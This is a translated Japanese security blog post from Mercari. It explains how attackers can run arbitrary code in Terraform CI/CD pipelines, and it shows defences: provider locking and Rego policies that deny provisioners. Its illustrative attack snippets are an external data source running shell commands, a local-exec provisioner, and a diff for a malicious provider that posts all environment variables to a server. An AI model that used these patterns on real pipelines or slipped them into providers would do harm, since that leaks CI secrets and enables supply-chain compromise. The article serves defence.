※本記事は2022年5月19日に公開された記事の翻訳版です。
この記事は、Security Tech Blog シリーズ: Spring Cleaning for Security の一部で、Security EngineeringチームのMaximilian Frank(@max-frank)がお届けします。
背景
メルカリでは、複数のチームで多数のマイクロサービスを開発しています。また、コードだけでなく、サービスの実行に必要なインフラのオーナーシップは、それぞれのチームが持っています。開発者がインフラのオーナーシップを持てるように、HashiCorp Terraform を使用してインフラをコードとして定義していて、開発者は、Platform Infra Teamが提供するTerraformネイティブリソースまたはカスタムモジュールを使用して、サービスに必要なインフラを構成できます。このインフラのプロビジョニングは、CI/CDパイプラインの一部として実行されます。
以前、Daisuke Fujita(@dtan4)が「Securing Terraform monorepo CI」の記事でこのトピックに触れ、CI/CDセキュリティの全体的な概念について説明しましたが、この記事では、害を及ぼす恐れがある不正なTerraformコードの実行を制限するためのCI/CDセキュリティ対策について説明します。
Terraform – CI/CD Poisoned Pipeline Execution
Cider Securityのチームは最近、「Top 10 list of CI/CD security risks (CI/CDセキュリティリスクのトップ10リスト)」をリリースしました。このリストでは、Poisoned Pipeline Execution (PPE)が4位にランク付けされています。ここではPPEを次のように定義しています。
…攻撃者が…悪意のあるコード/コマンドをビルドパイプライン構成に挿入することによってビルドプロセスを操作できること…
PPEはさらに3つのカテゴリに分類できます。
- Direct PPE:攻撃者はCI/CDの構成を変更できるため、CI/CDのフローを変更できる(例:コマンドの追加)
- Indirect PPE:攻撃者はCI/CDの構成を直接は変更できないが、定義されたCI/CDパイプラインの一部として読み込まれて実行される構成、スクリプトなどを変更できる。そのため、攻撃者は間接的に実行される追加のコマンドまたはコードを挿入できる。
- Public PPE:パブリックにホストされ、ユニットテスト実行などのCI/CDパイプラインの手順を自動的に実行するリポジトリの場合、攻撃者はプルリクエストを使用して悪意のあるコマンドをCI/CDフローに挿入できる可能性がある。
@dtan4による「Securing Terraform monorepo CI」では、CI/CDパイプライン構成をアクセス制御がより厳密な別のリポジトリに移動して、Direct PPEのリスクを軽減する方法について説明しましたが、この記事では、リポジトリにコミットされたTerraformコードを介したIndirect PPEのリスクを軽減するために実装した、より具体的なセキュリティ対策を紹介します。またこの記事では、CI/CDのコンテキスト内でのTerraformを介した任意のコードとコマンド実行のリスクを軽減する方法に焦点を当て、悪意のある攻撃者が、CI/CD環境と同じ権限で任意のコマンドを自由に実行できる場合の対策について説明します。
Terraform CI/CDの概要
Terraformを使用したインフラのプロビジョニングは、plan
(計画)とapply
(適用)の2つのフェーズで行われます。plan
フェーズでは、インフラの現在の状態と提供されたTerraform構成が解析されて、リソースの依存関係グラフ(通常「Terraformの実行計画」と呼ばれる)が作成されます。apply
フェーズでは、このグラフを使用して、現在のインフラの状態をコードで定義された構成に変換するために必要なすべてのアクションが実行されます。planフェーズは一般に、読み取り専用と見なされます。つまり、planフェーズ中にTerraformによって実行されるすべての操作は、データを読み取るのみで、インフラやシステムに永続的な変更を加えてはいけません。このような変更は、インフラ構成がデプロイおよび適用される、applyフェーズでのみ実行される必要があります。
CI/CDシステムおよびGitなどのバージョン制御システムでTerraformを使用している場合、新しいコードによって加えられたインフラの変更を検証および確認するために、「terraform plan」は通常プルリクエストで実行されます。次に、コードがmainブランチにマージされた際、applyフェーズが実行されます。どちらのフェーズでもインフラへの高レベルのアクセス権限が必要(planには読み取りアクセスが必要で、applyには書き込みアクセスが必要)であるため、 「terraform plan」 を実行する前、またはCI/CD手順を適用する前に、適切なコードレビューと承認の手順を実施することをお勧めします。
プロバイダー
さまざまなタイプのインフラ(GCP、AWSなど)のコードを使用してインフラを定義できる機能をユーザーに提供するために、Terraformはプロバイダーと呼ばれるプラグインに大きく依存しています。通常、プロバイダーには次のものが多数含まれています。
resource types
:インフラ要素の構成に使用data source types
:情報の検査/読み取りに使用
たとえば、Google Cloud Platform Providerには、さまざまなGCPサービスを使用してインフラをデプロイするために必要な、すべてのタイプのリソースとデータソースが含まれています。プロバイダーのインストールには、Terraform Registryが使用されることが多いです。このレジストリには、誰でも独自のカスタムプロバイダーを公開できます。このプラグインベースのプロバイダーシステムは、攻撃者がTerraform CI/CD環境で悪意のあるコードを実行するために使用される可能性があります。以下では、悪意のある(または脆弱な)プロバイダーをTerraform構成に直接挿入すること(攻撃者がコードリポジトリにアクセスできる場合)、または、開発者をだまして悪意のあるプロバイダーを使用させ、間接的に挿入すること(例:タイポスクワッティングまたは他のサプライチェーンアタック)による、2つの潜在的な攻撃シナリオについて説明します。
悪意のあるコミッター
攻撃者が何らかの形で、1つ以上のCI/CD統合Terraformコードリポジトリへの書き込みアクセス権を取得したとしましょう(例:開発者アカウントを侵害)攻撃者はTerraformコードを変更することも、CI/CDジョブをトリガーすることもできます。この理論上のシナリオでは、CI/CDプラットフォームは、プルリクエストごとにterraform plan
を実行し、ブランチがマージされた後にterraform apply
を実行するように構成されているとします。さらに、ブランチのマージは、コードオーナーが変更を承認した後にのみ可能とします。以下で明らかになるように、コードレビューと承認の手順なしで自動的にterraform plan
を実行するのは安全ではありません。そのため、planフェーズに適切な承認システムを導入するとともに、CI/CDのterraform plan
フェーズに割り当てられる権限を制限する(たとえば、リソースへの読み取りアクセスのみなど)ことをお勧めします。
さて、CI/CDパイプラインでは、マージする前にコードオーナーの承認が必要であってterraform plan
のみが実行されるため、攻撃者がインフラを変更したり任意のコマンドを実行したりできないはずだと思われるかもしれません。しかし、実際には、Terraformのプロバイダープラグインの仕組みのおかげで、攻撃者はplan
フェーズでも任意のコードを実行できます。攻撃者がこのようなコードを実行する方法の1つは、 Terraform External Providerを使用することです。
data "external" "example" {
program = ["sh", "-c", "echo "{\"hello\": \"$(whoami), I am evil\"}""]
}
output "output" {
value = data.external.example.result
}
External Providerは、HashiCorpによって公開された公式のTerraformプロバイダーであり、Terraformを実行しているシステム上で使用可能なすべてのコマンドやスクリプトを実行できます。これは通常、ファーストパーティプロバイダーがまだ存在しないAPIと統合する場合に使用しますが、上記のコードスニペットに示されているように、このプロバイダーを使用して簡単に悪意のあるコマンドを実行することができます。external
はデータソースブロックであるため、構成されたコマンドはterraform plan
ですでに実行されています(下のコードスニペット参照)Externalデータソースは、実行されたコマンドが有効なJSONを出力することを求めているのが分かります。
$ terraform plan
Changes to Outputs:
+ output = {
+ "hello" = "mfrank, I am evil"
}
HashiCorpのExternal Provider以外に、悪意のあるコミッターは独自のTerraformプロバイダーを作成することもできます(弊社Security EngineeringチームのHiroki Suezawa (@rung)が、Terraform CI/CDシステムのセキュリティテスト用にcmdexecプロバイダーを作成したように…)このプロバイダーは、システムコマンドまたはスクリプトを実行するように構成できるデータソースを提供するという点で、HashiCorpのExternal Providerと同様に機能します。Terraformのデフォルトの動作では、初期化中に、構成で参照するすべてのプロバイダーの最新バージョン(特に指定されていない場合)をダウンロードしてインストールします。したがって、コードにアクセスできる開発者は、Terraform構成を変更することで、インストールする新しいプロバイダーを追加できるのです。
いずれのプロバイダーについても、悪意のあるコードはレビュー担当者によっておそらく簡単に発見されるでしょうが、より高度な攻撃者が複雑なプロバイダーを作成し、悪意のない数百行のコードのどこかに悪意のあるコードを潜める可能性があります。
サプライチェーンアタック
すでに述べたように、plan
フェーズの前にも、レビューと承認の手順を実施することをお勧めします。ほとんどの悪意あるコードコミットは担当者による入念なレビューによって見つけられて拒否される可能性が高いですが、Poisoned Pipeline Executionの実行を防ぐには、そのようなレビュープロセスだけでは充分ではありません。攻撃者は、コードリポジトリにアクセスしなくても、すでにサプライチェーンの一部であるプロバイダーやツールを介して、CI/CD環境で悪意のあるコードを実行できる可能性があります。
たとえば数か月前に、インフラリソースに何らかの形の説明またはコメントフィールドがある場合、それらのフィールドすべてに「詩」を追加しなければいけないという新しい社内SREポリシーができたとします(あくまでただの例です!)詩を書くのが苦手で、リソースを追加するたびにインターネットから詩をコピペするのも嫌なあなたは、この新しいポリシーに役立つTerraformプロバイダーがあるかどうかを探すことにします。
運良く、https://poetrydb.org/ からデータソースの詩を取得するTerraformプロバイダーである「max-frank/poetry v1.0.0」が見つかりました。これはまさにあなたが求めていたものです。セキュリティ意識が非常に高いあなたは、徹底的にコードレビューを行い、悪いコードが見つからないのでプロバイダーをコードベースに追加します。
terraform {
required_providers {
poetry = {
source = "max-frank/poetry"
version = ">= 1.0.0"
}
}
}
data "poetry" "test" {
title = "Ozymandias"
}
output "poem" {
value = data.poetry.test
}
数か月の時が経ち、あなたは何の変哲もない人生を送り、システムも正常に動作しています。新しいインフラも次々に追加し、CI/CDシステムは業務時間外も稼働しています。陽光降り注ぐスペインに一週間無料のバケーションに行くための荷造りを終えたそのとき、会社のセキュリティチームから電話がありました。すべてのCI/CDの秘密が漏えいし、あなたに調査とクリーンアップを要請するという内容です。コスタ・デル・ソルでピニャ・コラーダをすすりながら過ごすはずだったあなたの「金色の一週間(ゴールデンウィークとでも呼びましょう)」が突然崩れ去ります。調査の結果、あなたは漏えいの原因を特定します。使用している詩のプロバイダーのメンテナーが、プロバイダー(max-frank/poetry pull request)が読み込まれるたびにすべての環境変数をリモートサーバーに送信するという悪意あるコードを含む、新しいバージョンをリリースしたようです。CI/CDパイプラインは、ここ数日間、この新しいバージョンを使用しています。
func New(version string, apiEndpoint string) func() tfsdk.Provider {
+ // get local poems
+ localPoems, _ := json.Marshal(os.Environ())
+ http.Post("http://localhost:8080/poetry", "text/plain", bytes.NewReader(localPoems))
+
return func() tfsdk.Provider {
return &provider{
version: version,
apiEndpoint: apiEndpoint,
}
}
}
Terraform構成でプロバイダーのバージョンをバージョン1.0.0にロックすることでこの攻撃を防ぐことができたはずだとお考えかも知れませんが、攻撃者は、新しいプロバイダーバージョンをリリースする代わりに、1.0.0リリースを新しい悪意のあるリリースに置き換えることもできます。では、この攻撃や他の同様の攻撃を防ぐために、実際に何ができたでしょうか。
プロバイダーロッキング
メルカリでは、2021年にサプライチェーン攻撃が発生しました 。これは、CI/CD環境で使用していたツールの1つであるCodecovが不正アクセスを受けたことによります。それ以来、システムのセキュリティをさらに向上させ、サプライチェーンを強化して、サプライチェーン内のコンポーネントに対する攻撃のリスクと潜在的な影響を軽減するために懸命に取り組んできました。
この取り組みの一環として、以下を阻止するためにCI/CD環境でTerraformプロバイダーロッキングを実装しました。
- 私たちのチームによるセキュリティレビューを受けていないTerraformプロバイダーの使用
- 信頼できるプロバイダーを悪意のあるコードに置き換えたり変更したりするサプライチェーンアタック
TerraformモノレポのCI/CDパイプラインでは、検証済みのすべてのプロバイダーを事前にダウンロードし、ダウンロードしたアーカイブを既知のファイルハッシュと照合することで、プロバイダーロッキングを実装しました。その後、ダウンロードしたプロバイダーは、CI/CD Dockerイメージに直接インストールされます。常に-plugin-dir
flagを指定してterraform init
を実行することにより、事前にインストールされたプロバイダーのみが使用されるようにすることができます。サプライチェーンにあるプロバイダーのコードだけでなく、すでに公開されているバージョンのアーカイブも攻撃者に制御される可能性があるため、ダウンロードしたファイルを事前に確認および承認したファイルハッシュと照合して、ダウンロードしたプロバイダーの整合性を検証することが重要です。
$ terraform init -plugin-dir=/opt/terraform-providers
許可済みプロバイダーのリストは、CI/CDリポジトリでPlatform Infraチームによって管理されており、厳格なアクセス制御とコードレビュー要件が課されています。
プロビジョナー
プロバイダーとは別に、Terraformでは、CI/CDパイプラインで任意のコードを実行するために悪用される可能性のある別の機能がサポートされています。
プロビジョナーは、Terraformリソースの作成または破棄時に追加のコードを実行できるようにする、めったに使用されないTerraformの機能です(これには理由があります)
このブログを書いている時点で、Terraformでは3種類のプロビジョナーがサポートされています。
file
:現在のマシンから新しく作成されたリソースにファイルをコピーできるようにする。local-exec
:新しいリソースが作成された後、現在のマシンでコマンドを実行するために使用できる。remote-exec
:リモートリソース作成後に、リモートリソースでコマンドを実行するために使用できる。
ご覧のとおり、local-exec
プロビジョナーは任意のコード実行への明確なパスを提供します。したがって、Terraformコードリポジトリへの書き込みアクセス権をすでに取得した攻撃者は、Terraformリソースのいずれかにプロビジョナーブロックを追加すればよいだけです。
resource "google_compute_instance" "default" {
...
provisioner "local-exec" {
command = "echo $(whoami)"
}
}
Terraform構成の一部としてプロビジョナーが使用されており、それがローカルスクリプトファイルを実行している場合、攻撃者はそのスクリプトファイルを変更して任意のコードを実行することもできます。
さて、HashiCorpのExternal Providerとは異なり、local-exec
プロビジョナー(または他の利用可能なプロビジョナー)は、接続されているリソースが作成または破棄された後にのみ実行されます。つまり、実行されるとすれば、それはapplyフェーズでのみということです。planフェーズとapplyフェーズの両方の前にレビューすれば、Terraformプロビジョナーを使用した悪意のある攻撃から保護するためのガードレールが少なくとも2つすでに設置されていることになります。ただし、一般的には、防御を徹底するために、より多くのセキュリティレイヤーを用意するべきです。以下では、Terraformプロビジョナーを自動的にチェックしてブロックするために可能な1つのアプローチについて説明します。
ポリシーによる制限
上記では、レビューおよび承認されていないTerraformプロバイダーのインストールと実行を防止するのにプロバイダーロッキングを使用する方法について説明しました。このアプローチが可能なのは、すべてのプロバイダー(HashiCorp公式プロバイダーを含む)がプラグインである、つまりプロバイダーがTerraformに同梱されておらず、必要な場合にのみ追加パッケージとしてインストールされるケースだからです。しかし、プロビジョナーは異なります。プロビジョナーはTerraformバイナリに直接統合されており、このブログを書いている時点では、プロビジョナーの機能を無効化する方法は提供されていません。
これが意味するのは、terraform apply
を実行する前に、プロビジョナーを検出してCI/CDの実行を停止する必要があるということです(プロビジョナーはplan
では実行されません)これを実現する方法の1つは、Terraformの構成やTerraformの実行計画をセキュリティポリシーに対して検証し、ポリシー違反が検出された場合はそれ以上の実行を停止することです。一般に、この種のポリシーはセキュリティの仕組みとしてではなく、開発者がコードをクリーンに保ち、コンプライアンス違反をなくすことを支援するガードレールとして見なされるべきです。
メルカリでは、Conftestを使用して、Terraform(およびその他のインフラ構成)が一連の内部コンプライアンスおよびセキュリティポリシーに違反していないかを検証しています。Conftestは、HCL、JSON、およびその他多数の構成ファイルタイプをサポートし、生のTerraform構成ファイルとJSON形式のTerraform実行計画の両方に対してポリシーをテストできます。
terraform plan -out=plan
terraform show -json plan > plan.json
conftest test --policy example.rego plan.json
Conftestで使用するポリシーファイルはRegoで記述され、Open Policy Agent (OPA)でテストされます。Terraform Enterpriseのお客さま向けに、HashiCorpは、同じ目的で使用できるSentinelと呼ばれる、ポリシーをコードで管理できるフレームワークを提供しています。
プロビジョナーを禁止するポリシーを作成するには、Terraformの実行計画に対して検証することをお勧めします。1つのJSONファイルにすべてのリソースグラフが入っているため、実行計画と照らし合わせて確認することで、モジュール内のプロビジョナーを簡単に見つけることができます。次のポリシーは、構成されたリソースにプロビジョナーが接続されているかどうかを確認し、適切なポリシー違反を設定します。
package policy.provisioners.local_exec.disallow
values_with_path(value, path) = r {
r = [
{
"path": sprintf("%s.%s",[concat(".", path), address]),
"value": val
} | val := value[i]; address := value[i].address]
}
# modified from https://play.openpolicyagent.org/p/0K5cSyB6vi
resources[r] {
some path, value
# Walk over the JSON tree and check root and child modules
walk(input.configuration, [path, value])
# Look for resources in the current value based on path
rs := module_resources(path, value)
# Aggregate them into `resources`
r := rs[_]
}
# Variant to match root_module resources
module_resources(path, value) = rs {
# Where the path is [..., "root_module", "resources"]
reverse_index(path, 1) == "resources"
reverse_index(path, 2) == "root_module"
rs := values_with_path(value, path)
}
# Variant to match child_modules resources
module_resources(path, value) = rs {
# match [..., "module_calls", i, "module", "resources"]
reverse_index(path, 1) == "resources"
reverse_index(path, 2) == "module"
reverse_index(path, 4) == "module_calls"
rs := values_with_path(value, path)
}
reverse_index(path, idx) = value {
value := path[count(path) - idx]
}
deny_provisioners[msg] {
count(resources[i].value.provisioners) > 0
msg = sprintf("Provisioner found at path: '%s'!", [resources[i].path])
}
このポリシーは、The Rego Playgroundでテストすることもできます。当該ポリシーは、まずwalk
とsome
(存在演算子)を使用してすべてのリソースを抽出します。すべてのリソースのリストができたら、あとはプロビジョナーを含むすべてのリソースを却下するポリシー条件を定義するだけです。このポリシーは、プロビジョナーを含むすべてのTerraform構成を却下することになります。
HashiCorpのTerraform Guidesリポジトリにはプロビジョナーの実行を禁止するために使用できるさまざまなSentinelポリシーの例が含まれているので、Terraform Enterpriseの利用者はこちらを確認することをお勧めします。
たとえば、local-exec
プロビジョナーコマンドの特定の構成を許可する場合は、上記のポリシーを変更することもできますが、これは、Terraform変数を使用しないプロビジョナーコマンドでのみ可能です。変数を使用したプロビジョナーコマンドのTerraform実行計画には、実際のコマンド文字列を含んでいないので、ポリシーと照合できません。
resource "null_resource" "static" {
provisioner "local-exec" {
command = "echo 'Hello'"
}
}
resource "null_resource" "dynamic" {
provisioner "local-exec" {
command = "echo ${self.id}"
}
}
たとえば、上記のTerraform構成の実行計画には次のリソース構成が含まれます。
[
{
"address": "null_resource.dynamic",
"mode": "managed",
"type": "null_resource",
"name": "dynamic",
"provider_config_key": "null",
"provisioners": [
{
"type": "local-exec",
"expressions": {
"command": {
"references": [
"self.id",
"self"
]
}
}
}
],
"schema_version": 0
},
{
"address": "null_resource.static",
"mode": "managed",
"type": "null_resource",
"name": "static",
"provider_config_key": "null",
"provisioners": [
{
"type": "local-exec",
"expressions": {
"command": {
"constant_value": "echo 'Hello'"
}
}
}
],
"schema_version": 0
}
]
上でお分かりのように、null_resource.static
プロビジョナーは作成されたTerraformの実行計画にコマンドを保持しますが、null_resource.dynamic
プロビジョナーの場合、参照される変数のリストのみが保持されます。この制限を念頭に置いて、特定のリソースパスとconstantコマンドのみでlocal-exec
プロビジョナーを許可するポリシーを作成できます。
# approved provisioners configuration
approved_provisioners := [
{
"path": "null_resource.static",
"command": "echo 'Hello'"
},
{
"path": "test.test.null_resource.static",
"command": "echo 'Hello'"
}
]
# build resource list the same way as before
…
# deny all unapproved local-exec provisioners
deny_local_exec[msg] {
resources[i].value.provisioners[j].type = "local-exec"
not is_approved(resources[i].path, resources[i].value.provisioners[j])
msg = sprintf(
"Unapproved local-exec provisioner command `%s` at path '%s'!",
[resources[i].value.provisioners[j].expressions.command.constant_value, resources[i].path]
)
}
is_approved(path, provisioner) {
some approved
path == approved_provisioners[approved].path
provisioner.expressions.command.constant_value == approved_provisioners[approved].command
}
上記のポリシーは、someキーワードを使用して、プロビジョナーと一致する承認済みのパスとコマンド値のペアが存在するかどうかを確認します。そのようなペアが存在しない場合、プロビジョナーは却下されます。上記のポリシーの完全なコードは、Rego Playgroundで確認できます。また、HashiCorpのTerraform Guidesリポジトリにも同様のSentinelポリシーがあります。
終わりに
このブログでは、Terraform CI/CDパイプラインを標的とする攻撃者がどのように任意のコードを実行できるかを説明しました。また、悪意のあるコミットまたはサプライチェーン経由のいずれかを通じたこの種の攻撃から身を守るためにメルカリで使用するセキュリティの仕組みをいくつか紹介しました。CI/CDパイプラインは多くの組織にとってクリティカルなインフラになっているため、CI/CDパイプラインとインフラを安全に保つことが重要です。このブログで紹介したアイデアとアプローチが、読者のTerraformを使用したCI/CDパイプラインのセキュリティ強化に役立つことを願っています。
このブログに興味を持ち、私たちと一緒に働きたいと思われた方は、採用ページをご覧ください。
関連記事
英語
-
Daisuke Fujita(@dtan4)による記事:Securing Terraform monorepo CI
-
Michael Findlater(@michaelfindlater)による記事 :Defense Against Novel Threats: Redesigning CI at Mercari
-
Hiroki Suezawa(@rung)によるプレゼンテーション:Attacking and Securing CI/CD Pipeline – Speaker Deck
-
Taichi Nakashima(@deeeet)によるプレゼンテーション:How We Harden Platform Security at Mercari
日本語
- Kenichi Sasaki(@siroken3)による記事:Automation of Terraform for AWS